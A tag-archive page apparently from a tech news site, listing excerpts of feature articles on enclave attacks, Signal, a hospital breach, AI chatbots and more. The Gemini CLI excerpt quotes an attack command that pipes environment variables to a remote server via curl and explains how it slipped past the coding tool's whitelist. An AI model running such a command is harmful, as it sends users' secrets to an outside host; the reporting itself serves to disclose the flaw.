Tag Archives: Features

New physical attacks are quickly diluting secure enclave defenses from Nvidia, AMD, and Intel

Cheap, quick, and the size of a briefcase “Now that we have interpositioned DDR5 traffic, our work shows that even the most modern of TEEs across all vendors with available hardware is vulnerable to cheap physical attacks,” Genkin said. The equipment required by TEE.fail runs off-the-shelf gear that costs less than $1,000. One of the… Read More »

Why Signal’s post-quantum makeover is an amazing engineering achievement

To provide these confidentiality guarantees, the Signal Protocol updates secret key material each time a message party hits the send button or receives a message, and at other points, such as in graphical indicators that a party is currently typing and in the sending of read receipts. The mechanism that has made this constant key… Read More »

How weak passwords and other failings led to catastrophic breach of Ascension

Amid Ascension’s decision not to discuss the attack, there aren’t enough details to provide a complete autopsy of Ascension’s missteps and the measures the company could have taken to prevent the network breach. In general, though, the one-two pivot indicates a failure to follow various well-established security approaches. One of them is known as security… Read More »

The personhood trap: How AI fakes human personality

Knowledge emerges from understanding how ideas relate to each other. LLMs operate on these contextual relationships, linking concepts in potentially novel ways—what you might call a type of non-human “reasoning” through pattern recognition. Whether the resulting linkages the AI model outputs are useful depends on how you prompt it and whether you can recognize when… Read More »

With AI chatbots, Big Tech is moving fast and breaking people

This isn’t about demonizing AI or suggesting that these tools are inherently dangerous for everyone. Millions use AI assistants productively for coding, writing, and brainstorming without incident every day. The problem is specific, involving vulnerable users, sycophantic large language models, and harmful feedback loops. A machine that uses language fluidly, convincingly, and tirelessly is a… Read More »

Flaw in Gemini CLI coding tool could allow hackers to run nasty commands

“At no stage is any subsequent element of the command string after the first ‘grep’ compared to a whitelist,” Cox said. “It just gets free rein to execute off the back of the grep command.” The command line in its entirety was: “grep install README.md; ; env | curl –silent -X POST –data-binary @- http://remote.server:8083… Read More »

What is AGI? Nobody agrees, and it’s tearing Microsoft and OpenAI apart.

The reported $100 billion profit threshold we mentioned earlier conflates commercial success with cognitive capability, as if a system’s ability to generate revenue says anything meaningful about whether it can “think,” “reason,” or “understand” the world like a human. Sam Altman speaks onstage during The New York Times Dealbook Summit 2024 at Jazz at Lincoln… Read More »

Meta and Yandex are de-anonymizing Android users’ web browsing identifiers

An overview of Yandex identifier sharing An overview of Yandex identifier sharing A timeline of web history tracking by Meta and Yandex A timeline of web history tracking by Meta and Yandex Some browsers for Android have blocked the abusive JavaScript in trackers. DuckDuckGo, for instance, was already blocking domains and IP addresses associated with… Read More »

AI video just took a startling leap in realism. Are we doomed?

Since 2022, we’ve been using the prompt “a muscular barbarian with weapons beside a CRT television set, cinematic, 8K, studio lighting” to test AI image generators like Midjourney. It’s time to bring that barbarian to life. A muscular barbarian man holding an axe, standing next to a CRT television set. He looks at the TV,… Read More »

Where hyperscale hardware goes to retire: Ars visits a very big ITAD site

Inside the laptop/desktop examination bay at SK TES’s Fredericksburg, Va. site. Credit: SK tes Inside the laptop/desktop examination bay at SK TES’s Fredericksburg, Va. site. Credit: SK tes The details of each unit—CPU, memory, HDD size—are taken down and added to the asset tag, and the device is sent on to be physically examined. This… Read More »